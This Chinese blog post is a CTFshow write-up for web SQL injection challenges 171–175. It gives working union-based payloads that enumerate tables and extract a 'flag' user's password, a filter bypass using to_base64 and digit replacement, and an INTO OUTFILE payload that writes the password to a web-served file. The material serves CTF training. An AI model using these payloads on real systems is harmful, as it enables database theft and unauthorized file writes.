CTFshow web(sql注入171-175)

本文讲述了在WebCTF挑战中,如何利用SQL注入技巧获取表名,绕过过滤函数,对密码进行Base64编码混淆,以及如何通过文件操作来提取隐藏信息的过程。

                                                                 web171

还得先爆表名

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+

注意这里已经提示你了,只要知道是ctfshow_user,就可以拿到flag

-1' union select 1,2,password from ctfshow_user where username = 'flag' --+

                                                                         web172

还是那个语句查询表名

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+

然后接着一个个查询看看哪个表里面有flag,经测试,第二个表有flag 

-1' union select 1,2,password from ctfshow_user2 where username = 'flag' --+

                                                                        web173

还是那个语句查询表名

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+

那个过滤函数别被骗了,照样该怎么做怎么做 

-1' union select 1,2,password from ctfshow_user3 where username = 'flag' --+

                                                                    web174

根据upstream_yu大神的思路:

替换:将数据to_base64加密,然后将里面所有的数字用replace()替换

-1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),2,'testb') ,3,'testc') ,4,'testd') ,5,'teste') ,6,'testf') ,7,'testg') ,8,'testh') ,9,'testi') ,0,'testj') ,1,'testa'),replace(1,'1','testa') from ctfshow_user4 where username='flag'--+

base64解码就好

                                                                    web175

原理:把内容写入文件读取

 1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+

 然后访问1.txt

ps:注意把ctfshow后面的都删去,改成1.txt

真心希望文章能够帮助大家,谢谢!

### CTFShow Web 入门 SQL 注入175题 解法 CTFShow 平台中的 Web 入门级别 SQL 注入题目旨在帮助学习者掌握不同场景下的 SQL 注入技巧。对于第 175 题,其核心在于利用无过滤注入的特点来完成攻击目标。 #### 背景分析 在该题目中,查询语句允许通过 `UNION SELECT` 构造额外的数据集并将其写入到指定文件路径下[^2]。具体来说,攻击者可以借助此特性提取数据库内的敏感数据,并将这些数据存储至可访问的位置以便后续查看。 以下是实现这一过程的关键点: 1. **构造 UNION 查询** 使用 `UNION SELECT` 将目标表中的字段值附加到原始查询结果集中。例如,在本题中可以通过如下方式获取用户密码: ```sql 1' union select 1, password from ctfshow_user5 -- ``` 2. **导出数据到外部文件** 利用 MySQL 的 `INTO OUTFILE` 子句将查询结果保存为服务器上的文件。这一步骤需要确保所选路径具有写权限以及符合服务端配置的安全策略。 ```sql INTO OUTFILE '/var/www/html/1.txt' ``` 3. **绕过潜在限制** 如果存在单引号 `'` 或其他字符被转义的情况,则需采用替代方法构建有效载荷。比如使用双划线 (`--`) 表示注释从而忽略剩余部分;或者尝试基于时间盲注等方式间接验证逻辑条件成立与否。 最终提交完整的请求参数形式可能类似于下面这样: ```plaintext id=1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'-- ``` 成功执行上述操作之后,可通过浏览器访问 `/1.txt` 文件读取其中的内容即为目标 flag 值。 #### 总结 此类题目主要考察选手对基础 SQL 注入原理的理解程度及其实际应用能力。通过对真实环境模拟练习能够加深印象进而提升防御意识水平。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值